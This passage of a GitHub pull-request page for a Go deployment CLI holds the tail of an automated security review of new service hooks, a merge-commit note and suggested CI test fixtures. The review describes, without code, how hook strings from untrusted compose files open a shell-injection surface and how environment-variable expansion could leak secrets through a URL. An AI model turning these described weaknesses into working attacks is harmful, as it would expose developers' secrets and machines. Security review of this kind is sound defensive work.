  2. Consider a simpler design: collect cmd.Wait() calls inside the goroutine itself (within runOne) so reap only needs r.wg.Wait() and does not need the r.mu/r.cmds slice at all.

FINDING 7 — LOW: swapBrowserOpen Mutates Package-Level Variable — Unsafe Under t.Parallel()

Standards: SOC2-CC7 (test reliability as a monitoring concern)

File: go/internal/cli/commands/service_lifecycle_test.goswapBrowserOpen

Description:
swapBrowserOpen (and recordingBrowserOpen in compose_lifecycle_test.go) replace the package-level browserOpen variable, restoring it via t.Cleanup. If any test calling swapBrowserOpen is run with t.Parallel() alongside another test that also calls swapBrowserOpen, the two tests race on the package-level variable. The -race detector would catch this — but only if the tests are actually run in parallel, which they currently are not. Adding t.Parallel() to a future test would silently introduce the race.

func swapBrowserOpen(t *testing.T) *[]string {
    original := browserOpen      // package-level var
    browserOpen = func(url string) error { ... }
    t.Cleanup(func() { browserOpen = original })
    return &calls
}

Remediation:

  1. Add //nolint:paralleltest or a comment warning that these tests must not be parallelised while browserOpen is a package-level variable.
  2. Better: inject browserOpen as a function parameter to the functions under test, eliminating the global state entirely.

FINDING 8 — LOW: Unknown x-wendy Keys Silently Discarded After Validation

Standards: ISO27001-A.8

File: go/internal/cli/commands/compose.goparseXWendy

Description:
The function collects unknown keys from the raw map and returns them as warnings. However, the warning collection iterates the top-level keys only — nested unknown keys inside readiness or hooks are silently discarded by json.Unmarshal (Go's default behaviour ignores unknown JSON fields). A user who misspells hooks.postStart.openurl (lowercase u) would get no warning and their hook would silently not fire.

for k := range raw {
    if k != "readiness" && k != "hooks" {
        unknown = append(unknown, k)  // only top-level; nested misspellings are silent
    }
}

Remediation:

  1. Use json.Decoder with DisallowUnknownFields() on the parsed struct, or add nested key validation for readiness.* and hooks.postStart.*.
  2. Alternatively, document this limitation in the compose.md reference.

FINDING 9 — LOW: Inconsistent runner.reap() on Error Paths in startAndStreamServices

Standards: SOC2-CC8

File: go/internal/cli/commands/multibuild.gostartAndStreamServices

Description:
The attached-mode loop adds runner.reap() on the createService error path, the StartContainer error path, and the stream.Recv() error path. However, the runner.startAsync call happens between the stream.Recv() and the wg.Add(1) + goroutine launch. If StartContainer or stream.Recv() fails for service N, any startAsync'd hooks for services 1…N-1 are correctly reaped. But if the wg.Add(1) goroutine itself panics (extremely unlikely but possible), the defer chain does not include runner.reap(), and the process exits without collecting hook children. This is a minor cleanliness issue rather than a security risk, but it can leave zombie processes.

Remediation:

  1. Wrap the entire attached loop body in a deferred runner.reap() guard rather than placing it on individual error returns.
  2. Alternatively, document that runner.reap() is only needed on the clean-exit and explicit-error paths (i.e. panics are acceptable to skip reap for).

FINDING 10 — INFORMATIONAL: TimeoutSeconds: 0 Not Flagged as Potentially Dangerous

Standards: NIST SP 800-53 SI-10

File: go/internal/shared/appconfig/appconfig.goValidateReadiness

Description:
ValidateReadiness rejects negative TimeoutSeconds but accepts 0. The waitForReadiness implementation (not shown in diff) likely treats 0 as "use the default" (the field comment says the default is 30s), but a zero value from JSON omission is indistinguishable from an explicit 0. A future change to treat 0 as "no timeout" (infinite wait) would silently turn all configs that omit timeoutSeconds into potentially hanging readiness waits.

Remediation:

  1. Document in the struct tag or a comment that 0 means "use default (30s)" and that the field is validated to be >= 0.
  2. Consider adding a ValidateReadiness check that emits an informational note when TimeoutSeconds == 0 is set explicitly (detectable only at the JSON level, not the Go level after unmarshal).

Compliance Summary

Framework Checked Violations Found
SOC 2 (CC6, CC7, CC8, CC9, A1, C1) CC7 (hook data logged), CC8 (inconsistent reap), CC6 (race in reap — low)
ISO/IEC 27001:2022 (A.8, A.9, A.12) A.8 (shell injection surface, env var expansion, type confusion)
PCI DSS v4.0 Not applicable — no payment or card data flows in this diff
GDPR / Privacy No personal data collection, storage, or processing in this diff
HIPAA Not applicable — no health or medical data in this diff
NIST SP 800-53 / CSF 2.0 (AC, AU, IA, SC, SI) SI-10 (input validation — shell command construction from untrusted YAML), AU (info-level hook logging)

Priority actions before merge:

  1. (HIGH) Mitigate os.Getenv fallback in expandHookEnv — this is the highest-risk finding as it can silently exfiltrate secrets via openURL.
  2. (HIGH) Add user-facing documentation (and ideally a runtime prompt) for cli/agent hooks sourced from x-wendy blocks in untrusted compose files.
  3. (MEDIUM) Evaluate whether shell-string cli hooks should be replaced with a structured command+args form to eliminate the shell-injection surface.

@github-actions

github-actions Bot commented Jul 8, 2026

Copy link
Copy Markdown
Contributor

Docs preview

Preview this PR's docs at: https://docs.wendy.dev/branch-ed-wdy-1271-service-scoped-hooks-b216577acdd0cee812cc2f5158b8da000b9b1634/

This comment is updated automatically when the docs preview is redeployed.

Resolves two collisions with main's per-service `env` feature:

- wendy.schema.json: both sides added properties to the `service` def
  (main: `env`; this branch: `readiness`/`hooks`). Kept the union — the
  def is `additionalProperties: false`, so all 8 properties must be
  listed to match ServiceConfig's 8 fields.

- multibuild.go: a clean-but-broken auto-merge. main added
  `svc := services[name]` + `Env: expandServiceEnv(svc)` to createService,
  while this branch refactored createService to read its config from the
  hoisted svcCfgs map, deleting the surrounding lines. git kept main's
  `Env:` line but dropped the `svc` it referenced, leaving `undefined: svc`.
  Restored the lookup: expandServiceEnv needs the raw ServiceConfig (for
  its Env map), which the derived svcCfgs entries don't carry.

Verified: build + vet + gofmt clean, full suite green (56 pkgs), -race
clean on the concurrent hook paths, and every line main added across the
overlapping files is present in the result.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Note

Integration test review — automated suggestions from Claude. Apply, adapt, or dismiss as needed.

Per-service readiness probes and postStart hooks (x-wendy, services.<name>.readiness/hooks, app-level fallback, WENDY_SERVICE_NAME placeholder) are new in this PR but have no integration test coverage.

Three test scenarios need covering:

  1. compose-xwendy — a compose service using x-wendy readiness + openURL hook (exercises parseXWendy, buildComposeServiceConfigs, and WENDY_SERVICE_NAME)
  2. python-multiservice-hooks — a wendy.json multi-service app where one service declares per-service readiness/hooks (exercises ServiceConfig.Readiness/Hooks, service-scoped hook delivery, WENDY_SERVICE_NAME)
  3. compose-applevel-hooks — a compose project with a companion wendy.json declaring top-level readiness/hooks (the app-level fallback path, exercises appLevelLifecycleConfig, suppression of postStart.agent with a warning)

.github/ci-tests/compose-xwendy/docker-compose.yml

services:
  backend:
    build: ./backend
    ports:
      - "17321:17321"

  frontend:
    build: ./frontend
    ports:
      - "17322:17322"
    depends_on:
      - backend
    x-wendy:
      readiness:
        tcpSocket:
          port: 17322
        timeoutSeconds: 30
      hooks:
        postStart:
          cli: "echo wendy-hook-fired WENDY_SERVICE_NAME=${WENDY_SERVICE_NAME} WENDY_APP_ID=${WENDY_APP_ID}"

.github/ci-tests/compose-xwendy/backend/Dockerfile

FROM python:3.11-slim
WORKDIR /app
COPY main.py .
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"]

.github/ci-tests/compose-xwendy/backend/main.py

#!/usr/bin/env python3
"""Backend service for compose-xwendy CI test.

Binds TCP 17321, prints a ready line, then idles. The frontend service
depends_on this one, so Wendy starts backend first.
"""
import socket
import sys
import time

PORT = 17321

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", PORT))
srv.listen(8)
print(f"backend: listening on {PORT}", flush=True)

# Stay alive long enough for the test harness.
time.sleep(120)

.github/ci-tests/compose-xwendy/frontend/Dockerfile

FROM python:3.11-slim
WORKDIR /app
COPY main.py .
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"]

.github/ci-tests/compose-xwendy/frontend/main.py

#!/usr/bin/env python3
"""Frontend service for compose-xwendy CI test.

Binds TCP 17322 so the x-wendy tcpSocket readiness probe succeeds,
then prints environment variables the test harness asserts on.
"""
import os
import socket
import time

PORT = 17322

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", PORT))
srv.listen(8)

# Print env vars that the hook placeholder expansion relies on.
# The integration harness checks that WENDY_SERVICE_NAME is "frontend"
# (not empty and not the legacy <project>-<service> form) and that
# WENDY_APP_ID matches the project name.
app_id = os.environ.get("WENDY_APP_ID", "")
svc_name = os.environ.get("WENDY_SERVICE_NAME", "")
hostname = os.environ.get("WENDY_HOSTNAME", "")

print(f"WENDY_APP_ID={app_id}", flush=True)
print(f"WENDY_SERVICE_NAME={svc_name}", flush=True)
print(f"WENDY_HOSTNAME={hostname}", flush=True)

if not svc_name:
    print("FAIL: WENDY_SERVICE_NAME is empty for a multi-service compose app", flush=True)
    raise SystemExit(1)

if svc_name != "frontend":
    print(f"FAIL: expected WENDY_SERVICE_NAME=frontend, got {svc_name!r}", flush=True)
    raise SystemExit(1)

print("PASS: x-wendy service env vars correct", flush=True)

# Stay alive so the readiness probe can connect.
time.sleep(120)

.github/ci-tests/python-multiservice-hooks/wendy.json

{
    "appId": "sh.wendy.ci.python-multiservice-hooks",
    "version": "1.0.0",
    "services": {
        "worker": {
            "context": "worker"
        },
        "api": {
            "context": "api",
            "dependsOn": ["worker"],
            "readiness": {
                "tcpSocket": { "port": 17330 },
                "timeoutSeconds": 30
            },
            "hooks": {
                "postStart": {
                    "cli": "echo wendy-hook-fired service=${WENDY_SERVICE_NAME} app=${WENDY_APP_ID}"
                }
            }
        }
    }
}

.github/ci-tests/python-multiservice-hooks/worker/Dockerfile

FROM python:3.11-slim
WORKDIR /app
COPY main.py .
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"]

.github/ci-tests/python-multiservice-hooks/worker/main.py

#!/usr/bin/env python3
"""Worker service for python-multiservice-hooks CI test.

No readiness/hooks declared on this service — only `api` has them.
This validates scoping: the worker's startup is never gated by api's probe.
"""
import os
import time

svc = os.environ.get("WENDY_SERVICE_NAME", "")
app = os.environ.get("WENDY_APP_ID", "")

print(f"worker: WENDY_SERVICE_NAME={svc!r} WENDY_APP_ID={app!r}", flush=True)

if svc != "worker":
    print(f"FAIL: expected WENDY_SERVICE_NAME=worker, got {svc!r}", flush=True)
    raise SystemExit(1)

print("worker: ready", flush=True)
time.sleep(120)

.github/ci-tests/python-multiservice-hooks/api/Dockerfile

FROM python:3.11-slim
WORKDIR /app
COPY main.py .
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"]

.github/ci-tests/python-multiservice-hooks/api/main.py

#!/usr/bin/env python3
"""API service for python-multiservice-hooks CI test.

Declares per-service readiness (tcpSocket port 17330) and a postStart cli hook
in wendy.json. This service binds that port so the probe succeeds, then
validates WENDY_SERVICE_NAME is correctly scoped to this service only.
"""
import os
import socket
import time

PORT = 17330

svc = os.environ.get("WENDY_SERVICE_NAME", "")
app = os.environ.get("WENDY_APP_ID", "")
hostname = os.environ.get("WENDY_HOSTNAME", "")

print(f"api: WENDY_SERVICE_NAME={svc!r} WENDY_APP_ID={app!r} WENDY_HOSTNAME={hostname!r}", flush=True)

if svc != "api":
    print(f"FAIL: expected WENDY_SERVICE_NAME=api, got {svc!r}", flush=True)
    raise SystemExit(1)

# Bind the port so the readiness probe succeeds.
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", PORT))
srv.listen(8)

print(f"api: listening on {PORT} — readiness probe should succeed", flush=True)
print("PASS: per-service WENDY_SERVICE_NAME and readiness port correct", flush=True)

time.sleep(120)

.github/ci-tests/compose-applevel-hooks/docker-compose.yml

services:
  svc-a:
    build: ./svc-a
    ports:
      - "17340:17340"

  svc-b:
    build: ./svc-b
    depends_on:
      - svc-a

.github/ci-tests/compose-applevel-hooks/wendy.json

{
    "appId": "sh.wendy.ci.compose-applevel-hooks",
    "version": "1.0.0",
    "readiness": {
        "tcpSocket": { "port": 17340 },
        "timeoutSeconds": 30
    },
    "hooks": {
        "postStart": {
            "cli": "echo app-level-hook-fired WENDY_APP_ID=${WENDY_APP_ID} WENDY_SERVICE_NAME=${WENDY_SERVICE_NAME}"
        }
    }
}

Note on postStart.agent: The companion intentionally omits hooks.postStart.agent here. That field would trigger the new composeAppLevelAgentHookDropped warning path; a separate negative test can cover that warning once the test harness supports asserting on stderr output. The cli hook above is sufficient to verify the app-level fallback fires exactly once after all services start.

.github/ci-tests/compose-applevel-hooks/svc-a/Dockerfile

FROM python:3.11-slim
WORKDIR /app
COPY main.py .
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"]

.github/ci-tests/compose-applevel-hooks/svc-a/main.py

#!/usr/bin/env python3
"""svc-a for compose-applevel-hooks CI test.

Binds TCP 17340 so the top-level companion readiness probe succeeds.
The app-level fallback (companion wendy.json top-level readiness/hooks)
fires once after BOTH svc-a and svc-b have started.
"""
import os
import socket
import time

PORT = 17340

svc = os.environ.get("WENDY_SERVICE_NAME", "")
app = os.environ.get("WENDY_APP_ID", "")

print(f"svc-a: WENDY_APP_ID={app!r} WENDY_SERVICE_NAME={svc!r}", flush=True)

# In a grouped multi-service compose app, WENDY_SERVICE_NAME must be the
# service name (not empty, not the legacy <project>-<service> form).
if svc != "svc-a":
    print(f"FAIL: expected WENDY_SERVICE_NAME=svc-a, got {svc!r}", flush=True)
    raise SystemExit(1)

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", PORT))
srv.listen(8)
print(f"svc-a: listening on {PORT}", flush=True)
print("PASS: svc-a env vars correct", flush=True)

time.sleep(120)

.github/ci-tests/compose-applevel-hooks/svc-b/Dockerfile

FROM python:3.11-slim
WORKDIR /app
COPY main.py .
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"]

.github/ci-tests/compose-applevel-hooks/svc-b/main.py

#!/usr/bin/env python3
"""svc-b for compose-applevel-hooks CI test.

No per-service x-wendy readiness or hooks — only the app-level companion
fallback applies. Validates WENDY_SERVICE_NAME is correctly set to "svc-b"
and that this service starts independently of svc-a's probe result.
"""
import os
import time

svc = os.environ.get("WENDY_SERVICE_NAME", "")
app = os.environ.get("WENDY_APP_ID", "")

print(f"svc-b: WENDY_APP_ID={app!r} WENDY_SERVICE_NAME={svc!r}", flush=True)

if svc != "svc-b":
    print(f"FAIL: expected WENDY_SERVICE_NAME=svc-b, got {svc!r}", flush=True)
    raise SystemExit(1)

print("PASS: svc-b env vars correct", flush=True)
time.sleep(120)

go/scripts/test-ci.sh — add to ALL_TESTS

ALL_TESTS=(
    swift-hello
    swift-network
    swift-bluetooth
    swift-resources
    python-hello
    python-network
    python-gpu
    python-onnx-gpu
    python-bluetooth
    python-no-network
    python-no-bluetooth
    python-no-ptrace
    python-no-unshare
    python-no-kexec-module
    python-network-host-admin
    python-no-net-admin
    python-resources
    python-multiservice
    python-multiservice-resources
    python-multiservice-hooks        # NEW: per-service readiness/hooks in wendy.json (WDY-1271)
    python-servicename
    compose-hello
    compose-images
    compose-companion
    compose-xwendy                   # NEW: x-wendy per-service readiness/hooks + WENDY_SERVICE_NAME (WDY-1271)
    compose-applevel-hooks           # NEW: companion top-level readiness/hooks app-level fallback (WDY-1271)
    otel-localhost-only
    python-device-top
)

.github/workflows/integration-tests.yml — add to for t in ... list (Linux omits swift-*)

# macOS runner — all tests including swift-*
for t in swift-hello swift-network swift-bluetooth swift-resources \
          python-hello python-network python-gpu python-onnx-gpu \
          python-bluetooth python-no-network python-no-bluetooth \
          python-no-ptrace python-no-unshare python-no-kexec-module \
          python-network-host-admin python-no-net-admin python-resources \
          python-multiservice python-multiservice-resources \
          python-multiservice-hooks \
          python-servicename \
          compose-hello compose-images compose-companion \
          compose-xwendy compose-applevel-hooks \
          otel-localhost-only python-device-top; do

# Linux runner — omit swift-* tests
for t in python-hello python-network python-gpu python-onnx-gpu \
          python-bluetooth python-no-network python-no-bluetooth \
          python-no-ptrace python-no-unshare python-no-kexec-module \
          python-network-host-admin python-no-net-admin python-resources \
          python-multiservice python-multiservice-resources \
          python-multiservice-hooks \
          python-servicename \
          compose-hello compose-images compose-companion \
          compose-xwendy compose-applevel-hooks \
          otel-localhost-only python-device-top; do

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant